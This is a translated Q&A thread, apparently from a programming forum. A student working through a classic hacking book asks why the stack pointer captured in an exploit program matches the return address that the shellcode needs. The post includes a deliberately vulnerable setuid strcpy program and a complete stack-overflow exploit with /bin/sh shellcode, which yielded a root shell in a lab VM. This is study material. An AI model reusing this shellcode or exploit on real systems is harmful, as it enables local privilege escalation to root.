我是一名正在研究堆棧緩衝區溢出如何工作的計算機工程學生。我正在閱讀的書是Jon Erickson的「剝削藝術(第1版)」。 爲了練習我正在學習的內容,我在虛擬機中安裝了Damn Vulnerable Linux發行版。我已經禁用ASRL(kernel.randomize_va_space = 0),我已經編譯了以下代碼:GCC 3.4.6,我正在使用GDB 6.6並且分發的內核是2.6.20。我的電腦有一個Intel處理器。 易受攻擊的程序(test2)由root創建並設置爲setuid。緩衝區溢出esp偏移量
易受攻擊的代碼如下:
//test2.c
int main(int argc, char *argv[])
{
char buffer[500];
strcpy(buffer, argv[1]);
return 0;
}
雖然利用代碼,由正常(非根)用戶創建,如下:
//main.c
#include <stdlib.h>
char shellcode[] =
"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";
unsigned long sp(void)
{
__asm__("movl %esp, %eax");
}
int main(int argc, char *argv[])
{
int i, offset;
long esp, ret, *addr_ptr;
char *buffer2, *ptr;
offset = 0;
esp = sp();
ret = esp - offset;
printf("Stack pointer (ESP) : 0x%x\n", esp);
printf(" Offset from ESP : 0x%x\n", offset);
printf("Desired Return Addr : 0x%x\n", ret);
buffer2 = malloc(600);
ptr = buffer2;
addr_ptr = (long *)ptr;
for (i = 0; i < 600; i += 4)
{
*(addr_ptr++) = ret;
}
for (i = 0; i < 200; i++)
{
buffer2[i] = '\x90';
}
ptr = buffer2 + 200;
for (i = 0; i < strlen(shellcode); i++)
{
*(ptr++) = shellcode[i];
}
buffer2[600 - 1] = 0;
execl("/root/workspace/test2/Release/test2", "test2", buffer2, 0);
free(buffer2);
return 0;
}
程序工作,它利用了test2中的緩衝區溢出漏洞,併爲我提供了一個root shell。 我不明白,即使在多次閱讀本書並嘗試在互聯網上找到答案後,我們存儲在變量esp中的堆棧指針的值是我們的shellcode的返回地址。我用GDB反彙編了這個程序,一切都按照作者的說法工作,但我不明白爲什麼會發生這種情況。
我希望向您展示如何在執行期間反彙編程序看起來像內存看起來像,但我不能從虛擬機上的來賓機複製/粘貼,我不允許插入圖像我的問題。因此,我只能描述執行程序main(在test2中利用BOF的那個)時發生了什麼:
反彙編main,我看到28字節分配在堆棧上(7個變量* 4字節) 。然後調用函數sp()並將堆棧指針的值存儲在esp中。存儲在變量esp中的值是0xbffff344。然後,你可以看到,我們有一些printf,我們將有效載荷存儲在buffer2中,然後我們調用傳遞buffer2作爲參數的execl函數。
現在出現root shell,然後程序退出。在設置不同的偏移量之後拆分程序,我可以清楚地看到0xbffff344恰恰是執行test2時存儲有效負載的地址。你能向我解釋這是怎麼發生的? execl是否爲test2程序設置了一個新的堆棧框架?在main.c中,只有28個字節分配在堆棧上,而test2中的500個字節分配在堆棧上(對於buffer2)。那麼我怎麼知道我在main.c中得到的堆棧指針正好是shellcode的返回地址呢?
如果我寫了一些愚蠢的東西,我感謝你並道歉。
感謝您的答覆。我同意你的答案,我會像你這樣計算偏移量:esp-500 + 28。令我吃驚的是,即使offset = 0,gdb也證實了這個漏洞。還有一件事:當我在exploit程序的執行過程中使用gdb來檢查內存時,我發現堆棧上似乎確實存在兩個「緩衝區」(帶有NOP,shellcode和rets)。第一個從存儲在變量「esp」中的地址開始,而另一個存儲在堆棧中的較低地址處(似乎後者是脆弱函數的實際本地緩衝區)。有關這個事實的任何想法? – condorwasabi
與我們將指針傳遞給函數execl的指針有什麼關係?我在考慮:考慮到在execl結束並且利用緩衝區存儲在堆中(當我們在exploit程序中構建它時),存儲在堆上的數據「丟失」,當我們將「buffer2」傳遞給execl時,我們傳遞指向堆中存儲的內容將丟失的指針。也許execl會複製堆棧上的所有漏洞緩衝區並由於某種原因(重合?),此緩衝區將從存儲在「esp」中的地址開始,這也是我們傳遞給execl的第三個參數的地址。 – condorwasabi
哪裏/什麼時候你看到棧上有兩個緩衝區? Afaik傳統的strcpy實現只與一些本地指針/索引一起工作(查看[link](http://sourceware.org/git/?p=glibc.git))。所以這不太可能是因爲strcpy本地緩衝區。一件好事可能是在strcpy函數中設置一個斷點(break strcpy)並自己查看指令和堆棧/寄存器。例如,在我的機器上,stdlib是用SSE2支持編譯的,兩個參數是通過寄存器傳遞的。所以這真的是平臺的依賴。 – dna